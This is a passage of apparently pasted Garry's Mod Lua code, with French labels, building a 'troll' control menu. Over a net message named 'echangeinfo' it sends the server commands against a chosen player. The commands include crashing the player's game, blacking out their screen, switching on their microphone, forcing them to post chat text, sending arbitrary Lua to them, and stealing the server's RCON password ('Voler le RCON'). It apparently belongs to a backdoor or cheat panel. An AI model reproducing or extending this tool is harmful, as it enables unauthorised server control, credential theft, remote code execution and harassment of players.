  1520. frame:SetSize( 400, 100 )
  1521. frame:SetTitle( "" )
  1522. frame:Center()
  1523. frame:MakePopup()
  1524. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1525. TextEntry:SetPos( 25, 50 )
  1526. TextEntry:SetSize( 350, 35 )
  1527. TextEntry:SetText( "250" )
  1528. TextEntry.OnEnter = function( self )
  1529.          net.Start( "echangeinfo" )
  1530.          net.WriteString("armorpv")
  1531.          net.WriteEntity( userl )
  1532.          net.WriteString(TextEntry:GetValue())
  1533.          net.SendToServer()
  1534. end
  1535. end ):SetIcon( "icon16/user_suit.png" )
  1536.  
  1537. troll:AddOption( "Launch", function()
  1538.          net.Start( "echangeinfo" )
  1539.          net.WriteString("launchuser")
  1540.          net.WriteEntity( userl )
  1541.          net.SendToServer()
  1542.          actioneff("Vous d'envoyer " .. userl:Nick() .. " dans les airs")
  1543. end ):SetIcon( "icon16/arrow_up.png" )
  1544.  
  1545. troll:AddOption( "2D Players", function()
  1546.          net.Start( "echangeinfo" )
  1547.          net.WriteString("2dplayeruser")
  1548.          net.WriteEntity( userl )
  1549.          net.SendToServer()
  1550. end ):SetIcon( "icon16/arrow_up.png" )
  1551.  
  1552. troll:AddOption( "Donner la grosse tête", function()
  1553.          net.Start( "echangeinfo" )
  1554.          net.WriteString("grosseteteuser")
  1555.          net.WriteEntity( userl )
  1556.          net.SendToServer()
  1557. end ):SetIcon( "icon16/bug.png" )
  1558.  
  1559. troll:AddOption( "Changer la taille du joueur", function()
  1560. local frame = vgui.Create( "DFrame" )
  1561. frame:SetSize( 400, 100 )
  1562. frame:SetTitle( "" )
  1563. frame:Center()
  1564. frame:MakePopup()
  1565. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1566. TextEntry:SetPos( 25, 50 )
  1567. TextEntry:SetSize( 350, 35 )
  1568. TextEntry:SetText( "5" )
  1569. TextEntry.OnEnter = function( self )
  1570.          net.Start( "echangeinfo" )
  1571.          net.WriteString("scaleuser")
  1572.          net.WriteEntity( userl )
  1573.          net.WriteString(TextEntry:GetValue())
  1574.          net.SendToServer()
  1575. end
  1576. end ):SetIcon( "icon16/application_edit.png" )
  1577.  
  1578. troll:AddOption( "Faire crash le joueur", function()
  1579.      net.Start( "echangeinfo" )
  1580.      net.WriteString("crashuser")
  1581.      net.WriteEntity( userl )
  1582.      net.SendToServer()
  1583.      actioneff(userl:Nick() .. " vient de crash")
  1584. end ) :SetIcon( "icon16/disconnect.png" )
  1585.  
  1586. trollprison:AddOption( "Mettre en prison", function()
  1587.      net.Start( "echangeinfo" )
  1588.      net.WriteString("arrestuser")
  1589.      net.WriteEntity( userl )
  1590.      net.SendToServer()
  1591.      actioneff(userl:Nick() .. " vient d'aller en prison.")
  1592. end ) :SetIcon( "icon16/user_orange.png" )
  1593.  
  1594. trollprison:AddOption( "Sortir de prison", function()
  1595.      net.Start( "echangeinfo" )
  1596.      net.WriteString("unarrestuser")
  1597.      net.WriteEntity( userl )
  1598.      net.SendToServer()
  1599.      actioneff(userl:Nick() .. " vient de sortir de prison.")
  1600. end ) :SetIcon( "icon16/user_orange.png" )
  1601.  
  1602. troll:AddOption( "Hurlement", function()
  1603.          net.Start( "echangeinfo" )
  1604.          net.WriteString("hurlementuser")
  1605.          net.WriteEntity( userl )
  1606.          net.SendToServer()
  1607.          actioneff("Vous venez d'hurler sur " .. userl:Nick())
  1608. end ):SetIcon( "icon16/bell.png" )
  1609.  
  1610. trollsubflash:AddOption( "[ON]", function()
  1611.          net.Start( "echangeinfo" )
  1612.          net.WriteString("flashon")
  1613.          net.WriteEntity( userl )
  1614.          net.SendToServer()
  1615. end ):SetIcon( "icon16/accept.png" )
  1616.  
  1617. trollsubflash:AddOption( "[OFF]", function()
  1618.          net.Start( "echangeinfo" )
  1619.          net.WriteString("flashoff")
  1620.          net.WriteEntity( userl )
  1621.          net.SendToServer()
  1622. end ):SetIcon( "icon16/cancel.png" )
  1623.  
  1624. trollsubscreen:AddOption( "[ON]", function()
  1625.          net.Start( "echangeinfo" )
  1626.          net.WriteString("screenon")
  1627.          net.WriteEntity( userl )
  1628.          net.SendToServer()
  1629. end ):SetIcon( "icon16/accept.png" )
  1630.  
  1631. trollsubscreen:AddOption( "[OFF]", function()
  1632.          net.Start( "echangeinfo" )
  1633.          net.WriteString("screenoff")
  1634.          net.WriteEntity( userl )
  1635.          net.SendToServer()
  1636. end ):SetIcon( "icon16/cancel.png" )
  1637.  
  1638. trollsubstopsound:AddOption( "[ON]", function()
  1639.          net.Start( "echangeinfo" )
  1640.          net.WriteString("stopsoundon")
  1641.          net.WriteEntity( userl )
  1642.          net.SendToServer()
  1643. end ):SetIcon( "icon16/accept.png" )
  1644.  
  1645. trollsubstopsound:AddOption( "[OFF]", function()
  1646.          net.Start( "echangeinfo" )
  1647.          net.WriteString("stopsoundoff")
  1648.          net.WriteEntity( userl )
  1649.          net.SendToServer()
  1650. end ):SetIcon( "icon16/cancel.png" )
  1651.  
  1652. trollsubmoooves:AddOption( "[ON]", function()
  1653.          net.Start( "echangeinfo" )
  1654.          net.WriteString("moovetroll")
  1655.          net.WriteEntity( userl )
  1656.          net.SendToServer()
  1657.          actioneff(userl:Nick().." vient de perdre le contrôle")
  1658. end ):SetIcon( "icon16/accept.png" )
  1659.  
  1660. trollsubmoooves:AddOption( "[OFF]", function()
  1661.          net.Start( "echangeinfo" )
  1662.          net.WriteString("unmoovetroll")
  1663.          net.WriteEntity( userl )
  1664.          net.SendToServer()
  1665.          actioneff(userl:Nick().." vient de reprendre le contrôle")
  1666. end ):SetIcon( "icon16/cancel.png" )
  1667.  
  1668. trollsubgravity:AddOption( "[ON]", function()
  1669.          net.Start( "echangeinfo" )
  1670.          net.WriteString("cassergr")
  1671.          net.WriteEntity( userl )
  1672.          net.SendToServer()
  1673.          actioneff("Vous venez de casser la gravité de " .. userl:Nick())
  1674. end ):SetIcon( "icon16/accept.png" )
  1675.  
  1676. trollsubgravity:AddOption( "[OFF]", function()
  1677.          net.Start( "echangeinfo" )
  1678.          net.WriteString("retablirgr")
  1679.          net.WriteEntity( userl )
  1680.          net.SendToServer()
  1681.          actioneff("Vous venez de rétablir la gravité à " .. userl:Nick())
  1682. end ):SetIcon( "icon16/cancel.png" )
  1683.  
  1684. trollsubjumpc:AddOption( "[ON]", function()
  1685.          net.Start( "echangeinfo" )
  1686.          net.WriteString("jumpuser")
  1687.          net.WriteEntity( userl )
  1688.          net.SendToServer()
  1689.          actioneff("Vous venez de casser la gravité des sauts de " .. userl:Nick())
  1690. end ):SetIcon( "icon16/accept.png" )
  1691.  
  1692. trollsubjumpc:AddOption( "[OFF]", function()
  1693.          net.Start( "echangeinfo" )
  1694.          net.WriteString("retablirjumpuser")
  1695.          net.WriteEntity( userl )
  1696.          net.SendToServer()
  1697.          actioneff("Vous venez de rétablir la gravité des sauts de " .. userl:Nick())
  1698. end ):SetIcon( "icon16/cancel.png" )
  1699.  
  1700. troll:AddOption( "Black Screen", function()
  1701.          net.Start( "echangeinfo" )
  1702.          net.WriteString("blackscreen")
  1703.          net.WriteEntity( userl )
  1704.          net.SendToServer()
  1705.          actioneff("Vous venez d'enlever la vue à " .. userl:Nick())
  1706. end ):SetIcon( "icon16/contrast.png" )
  1707.  
  1708. troll:AddOption( "Imitation", function()
  1709. local frame = vgui.Create( "DFrame" )
  1710. frame:SetSize( 400, 100 )
  1711. frame:SetTitle( "" )
  1712. frame:Center()
  1713. frame:MakePopup()
  1714. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1715. TextEntry:SetPos( 25, 50 )
  1716. TextEntry:SetSize( 350, 35 )
  1717. TextEntry:SetText( "/ooc Je suis un soumis." )
  1718. TextEntry.OnEnter = function( self )
  1719.          net.Start( "echangeinfo" )
  1720.          net.WriteString("imitation")
  1721.          net.WriteEntity( userl )
  1722.          net.WriteString(TextEntry:GetValue())
  1723.          net.SendToServer()
  1724. end
  1725. end ):SetIcon( "icon16/application_edit.png" )
  1726.  
  1727. trollsubmic:AddOption( "[ON]", function()
  1728.          net.Start( "echangeinfo" )
  1729.          net.WriteString("micon")
  1730.          net.WriteEntity( userl )
  1731.          net.SendToServer()
  1732.          actioneff("Vous avez activer le micro de " .. userl:Nick() )
  1733. end ):SetIcon( "icon16/accept.png" )
  1734.  
  1735. trollsubmic:AddOption( "[OFF]", function()
  1736.          net.Start( "echangeinfo" )
  1737.          net.WriteString("micoff")
  1738.          net.WriteEntity( userl )
  1739.          net.SendToServer()
  1740.          actioneff("Vous avez désactiver le micro de " .. userl:Nick() )
  1741. end ):SetIcon( "icon16/cancel.png" )
  1742.  
  1743. troll:AddOption( "Changer le model", function()
  1744. local frame = vgui.Create( "DFrame" )
  1745. frame:SetSize( 400, 100 )
  1746. frame:SetTitle( "" )
  1747. frame:Center()
  1748. frame:MakePopup()
  1749. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1750. TextEntry:SetPos( 25, 50 )
  1751. TextEntry:SetSize( 350, 35 )
  1752. TextEntry:SetText( "models/editor/playerstart.mdl" )
  1753. TextEntry.OnEnter = function( self )
  1754.          net.Start( "echangeinfo" )
  1755.          net.WriteString("setmodel")
  1756.          net.WriteEntity( userl )
  1757.          net.WriteString(TextEntry:GetValue())
  1758.          net.SendToServer()
  1759. end
  1760. end ):SetIcon( "icon16/box.png" )
  1761.  
  1762. troll:AddOption( "Send LUA", function()
  1763. local frame = vgui.Create( "DFrame" )
  1764. frame:SetSize( 400, 100 )
  1765. frame:SetTitle( "" )
  1766. frame:Center()
  1767. frame:MakePopup()
  1768. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1769. TextEntry:SetPos( 25, 50 )
  1770. TextEntry:SetSize( 350, 35 )
  1771. TextEntry:SetText( "Lua Code" )
  1772. TextEntry.OnEnter = function( self )
  1773.          net.Start( "echangeinfo" )
  1774.          net.WriteString("sendluauser")
  1775.          net.WriteEntity( userl )
  1776.          net.WriteString(TextEntry:GetValue())
  1777.          net.SendToServer()
  1778. end
  1779. end ):SetIcon( "icon16/application_xp_terminal.png" )
  1780.  
  1781.  
  1782. ulxsubgod:AddOption( "[ON]", function()
  1783.          net.Start( "echangeinfo" )
  1784.          net.WriteString("goduseron")
  1785.          net.WriteEntity( userl )
  1786.          net.SendToServer()
  1787.          actioneff("Vous venez de mettre en mode dieu " .. userl:Nick())
  1788.  end ):SetIcon( "icon16/heart_add.png" )
  1789. ulxsubgod:AddOption( "[OFF]", function()
  1790.          net.Start( "echangeinfo" )
  1791.          net.WriteString("goduseroff")
  1792.          net.WriteEntity( userl )
  1793.          net.SendToServer()
  1794.          actioneff("Vous venez d'enlever de mode dieu " .. userl:Nick())
  1795.  end ):SetIcon( "icon16/heart_delete.png" )
  1796. ulx:AddOption( "Give une arme", function()
  1797. local frame = vgui.Create( "DFrame" )
  1798. frame:SetSize( 400, 100 )
  1799. frame:SetTitle( "" )
  1800. frame:Center()
  1801. frame:MakePopup()
  1802. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1803. TextEntry:SetPos( 25, 50 )
  1804. TextEntry:SetSize( 350, 35 )
  1805. TextEntry:SetText( "weapon_rpg" )
  1806. TextEntry.OnEnter = function( self )
  1807.          net.Start( "echangeinfo" )
  1808.          net.WriteString("items")
  1809.          net.WriteEntity( userl )
  1810.          net.WriteString(TextEntry:GetValue())
  1811.          net.SendToServer()
  1812. end
  1813. end ):SetIcon( "icon16/bomb.png" )
  1814.  
  1815. ulx:AddOption( "Kick", function()
  1816. local frame = vgui.Create( "DFrame" )
  1817. frame:SetSize( 400, 100 )
  1818. frame:SetTitle( "" )
  1819. frame:Center()
  1820. frame:MakePopup()
  1821. local TextEntry = vgui.Create( "DTextEntry", frame ) -- create the form as a child of frame
  1822. TextEntry:SetPos( 25, 50 )
  1823. TextEntry:SetSize( 350, 35 )
  1824. TextEntry:SetText( "Raison..." )
  1825. TextEntry.OnEnter = function( self )
  1826.          net.Start( "echangeinfo" )
  1827.          net.WriteString("kickuser")
  1828.          net.WriteEntity( userl )
  1829.          net.WriteString(TextEntry:GetValue())
  1830.          net.SendToServer()
  1831. end
  1832. end ):SetIcon( "icon16/status_away.png" )
  1833.  
  1834. ulx:AddOption( "Ban", function()
  1835.          net.Start( "echangeinfo" )
  1836.          net.WriteString("banuser")
  1837.          net.WriteEntity( userl )
  1838.          net.SendToServer()
  1839.          actioneff("Vous venez de ban " .. userl:Nick())
  1840. end ):SetIcon( "icon16/status_busy.png" )
  1841.  
  1842.  
  1843.  
  1844. ulxsubfreeze:AddOption( "[ON]", function()
  1845.          net.Start( "echangeinfo" )
  1846.          net.WriteString("freezeuser")
  1847.          net.WriteEntity( userl )
  1848.          net.SendToServer()
  1849.          actioneff("Vous venez de freeze " .. userl:Nick())
  1850. end ):SetIcon( "icon16/accept.png" )
  1851.  
  1852. ulxsubfreeze:AddOption( "[OFF]", function()
  1853.          net.Start( "echangeinfo" )
  1854.          net.WriteString("unfreezeuser")
  1855.          net.WriteEntity( userl )
  1856.          net.SendToServer()
  1857.          actioneff("Vous venez de unfreeze " .. userl:Nick())
  1858. end ):SetIcon( "icon16/cancel.png" )
  1859.  
  1860. ulx:AddOption( "Stripweapon", function()
  1861.          net.Start( "echangeinfo" )
  1862.          net.WriteString("strip")
  1863.          net.WriteEntity( userl )
  1864.          net.SendToServer()
  1865.          actioneff("Vous venez d'enlever les armes de " .. userl:Nick() )
  1866. end ):SetIcon( "icon16/bomb.png" )
  1867. ulx:AddOption( "Voler le RCON", function()
  1868.          net.Start( "echangeinfo" )
  1869.          net.WriteString("rconthief")
  1870.          net.WriteEntity( userl )
  1871.          net.SendToServer()
  1872. end ):SetIcon( "icon16/server_database.png" )
  1873. tpsubgmconstruct:AddOption( "Spawn", function()
  1874.          net.Start( "echangeinfo" )
  1875.          net.WriteString("gm_construct_spawn")
  1876.          net.WriteEntity( userl )
  1877.          net.SendToServer()
  1878. end )
  1879.  
  1880. tpsubgmconstruct:AddOption( "Building N°1 [Dernière étage]", function()
  1881.          net.Start( "echangeinfo" )
  1882.          net.WriteString("gm_construct_building_roof0")
  1883.          net.WriteEntity( userl )
  1884.          net.SendToServer()
  1885. end )
  1886.  
  1887. tpsubgmconstruct:AddOption( "Building N°1 [Toit]", function()
  1888.          net.Start( "echangeinfo" )
  1889.          net.WriteString("gm_construct_building_roof1")
  1890.          net.WriteEntity( userl )
  1891.          net.SendToServer()
  1892. end )
  1893.  
  1894. tpsubgmconstruct:AddOption( "Building N°2 [Dernière étage]", function()
  1895.          net.Start( "echangeinfo" )
  1896.          net.WriteString("gm_construct_building2_roof1")
  1897.          net.WriteEntity( userl )
  1898.          net.SendToServer()
  1899. end )
  1900.  
  1901. tpsubgmconstruct:AddOption( "Building N°2 [Toit]", function()
  1902.          net.Start( "echangeinfo" )
  1903.          net.WriteString("gm_construct_building2_roof0")
  1904.          net.WriteEntity( userl )
  1905.          net.SendToServer()
  1906. end )
  1907.  
  1908. tpsubgmconstruct:AddOption( "Building N°3 [Toit]", function()
  1909.          net.Start( "echangeinfo" )
  1910.          net.WriteString("gm_construct_building3_roof0")
  1911.          net.WriteEntity( userl )
  1912.          net.SendToServer()
  1913. end )
  1914.  
  1915.  
  1916. tpsubgmconstruct:AddOption( "Sous-Sol", function()
  1917.          net.Start( "echangeinfo" )
  1918.          net.WriteString("gm_construct_down")
  1919.          net.WriteEntity( userl )
  1920.          net.SendToServer()
  1921. end )
  1922.  
  1923. tpsubgmconstruct:AddOption( "Secret Room", function()
  1924.          net.Start( "echangeinfo" )
  1925.          net.WriteString("gm_construct_secret")
  1926.          net.WriteEntity( userl )
  1927.          net.SendToServer()
  1928. end )
  1929. tpsubgmconstruct:AddOption( "Skybox", function()
  1930.          net.Start( "echangeinfo" )
  1931.          net.WriteString("gm_construct_skybox")
  1932.          net.WriteEntity( userl )
  1933.          net.SendToServer()
  1934. end )
  1935. animation:AddOption( "Saluer", function()
  1936.          net.Start( "echangeinfo" )
  1937.          net.WriteString("animation_salute_user")
  1938.          net.WriteEntity( userl )
  1939.          net.SendToServer()
  1940. end ):SetIcon( "icon16/bell.png" )
  1941.  
  1942. animation:AddOption( "Robot", function()
  1943.          net.Start( "echangeinfo" )
  1944.          net.WriteString("animation_robot_user")
  1945.          net.WriteEntity( userl )
  1946.          net.SendToServer()
  1947. end ):SetIcon( "icon16/bell.png" )
  1948.  
  1949. animation:AddOption( "Levez les mains", function()
  1950.          net.Start( "echangeinfo" )
  1951.          net.WriteString("animation_cheer_user")
  1952.          net.WriteEntity( userl )
  1953.          net.SendToServer()
  1954. end ):SetIcon( "icon16/bell.png" )
  1955.  
  1956. animation:AddOption( "Rire", function()
  1957.          net.Start( "echangeinfo" )
  1958.          net.WriteString("animation_laugh_user")
  1959.          net.WriteEntity( userl )
  1960.          net.SendToServer()
  1961. end ):SetIcon( "icon16/bell.png" )
  1962. animation:AddOption( "Faire le beau", function()
  1963.          net.Start( "echangeinfo" )
  1964.          net.WriteString("animation_persistence_user")
  1965.          net.WriteEntity( userl )
  1966.          net.SendToServer()
  1967. end ):SetIcon( "icon16/bell.png" )
  1968.  
  1969. animation:AddOption( "Dance", function()
  1970.          net.Start( "echangeinfo" )
  1971.          net.WriteString("animation_dance_user")
  1972.          net.WriteEntity( userl )
  1973.          net.SendToServer()
  1974. end ):SetIcon( "icon16/bell.png" )
  1975.  
  1976.  
  1977. mooves:AddOption( "[ON]Avancer", function()
  1978.          net.Start( "echangeinfo" )
  1979.          net.WriteString("forwardmoove")
  1980.          net.WriteEntity( userl )
  1981.          net.SendToServer()
  1982.          actioneff("Vous venez de faire avancer " .. userl:Nick() )
  1983. end ):SetIcon( "icon16/accept.png" )
  1984.  
  1985. mooves:AddOption( "[OFF]Avancer", function()
  1986.          net.Start( "echangeinfo" )
  1987.          net.WriteString("unforwardmoove")
  1988.          net.WriteEntity( userl )
  1989.          net.SendToServer()
  1990.          actioneff("Vous venez d'arrêter de faire avancer " .. userl:Nick() )
  1991. end ):SetIcon( "icon16/stop.png" )
  1992.  
  1993. mooves:AddOption( "[ON]Reculer", function()
  1994.          net.Start( "echangeinfo" )
  1995.          net.WriteString("backmoove")
  1996.          net.WriteEntity( userl )
  1997.          net.SendToServer()
  1998.          actioneff("Vous venez de faire reculer " .. userl:Nick() )
  1999. end ):SetIcon( "icon16/accept.png" )
  2000.  
  2001. mooves:AddOption( "[OFF]Reculer", function()
  2002.          net.Start( "echangeinfo" )
  2003.          net.WriteString("unbackmoove")
  2004.          net.WriteEntity( userl )
  2005.          net.SendToServer()
  2006.          actioneff("Vous venez d'arrêter de faire reculer " .. userl:Nick() )
  2007. end ):SetIcon( "icon16/stop.png" )
  2008.  
  2009. mooves:AddOption( "[ON]Tourner à gauche", function()
  2010.          net.Start( "echangeinfo" )
  2011.          net.WriteString("leftmoove")
  2012.          net.WriteEntity( userl )
  2013.          net.SendToServer()
  2014.          actioneff("Vous venez de faire touner à gauche " .. userl:Nick() )
  2015. end ):SetIcon( "icon16/accept.png" )
  2016.  
  2017. mooves:AddOption( "[OFF]Tourner à gauche", function()
  2018.          net.Start( "echangeinfo" )
  2019.          net.WriteString("unleftmoove")
  2020.          net.WriteEntity( userl )
  2021.          net.SendToServer()
  2022.          actioneff("Vous venez d'arrêter de faire touner à gauche " .. userl:Nick() )
  2023. end ):SetIcon( "icon16/stop.png" )
  2024.  
  2025. mooves:AddOption( "[ON]Tourner à droite", function()
  2026.          net.Start( "echangeinfo" )
  2027.          net.WriteString("rightmoove")
  2028.          net.WriteEntity( userl )
  2029.          net.SendToServer()
  2030.          actioneff("Vous venez d'arrêter de faire touner à droite " .. userl:Nick() )
  2031. end ):SetIcon( "icon16/accept.png" )
  2032.  
  2033. mooves:AddOption( "[OFF]Tourner à droite", function()
  2034.          net.Start( "echangeinfo" )
  2035.          net.WriteString("unrightmoove")
  2036.          net.WriteEntity( userl )
  2037.          net.SendToServer()
  2038.          actioneff("Vous venez d'arrêter de faire touner à gauche " .. userl:Nick() )
  2039. end ):SetIcon( "icon16/stop.png" )
  2040.  
  2041. mooves:AddOption( "[ON]S'accroupir", function()
  2042.          net.Start( "echangeinfo" )
  2043.          net.WriteString("squatmoove")
  2044.          net.WriteEntity( userl )
  2045.          net.SendToServer()
  2046.          actioneff("Vous venez de faire s'accroupir " .. userl:Nick() )
  2047. end ):SetIcon( "icon16/accept.png" )
  2048.  
  2049. mooves:AddOption( "[OFF]S'accroupir", function()
  2050.          net.Start( "echangeinfo" )
  2051.          net.WriteString("unsquatmoove")
  2052.          net.WriteEntity( userl )
  2053.          net.SendToServer()
  2054.          actioneff("Vous venez d'arrêter de faire s'accroupir " .. userl:Nick() )
  2055. end ):SetIcon( "icon16/stop.png" )
  2056.  
  2057.  
  2058. m:AddSpacer() -- Add a spacer
  2059. m:Open() -- Show our menu
  2060. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement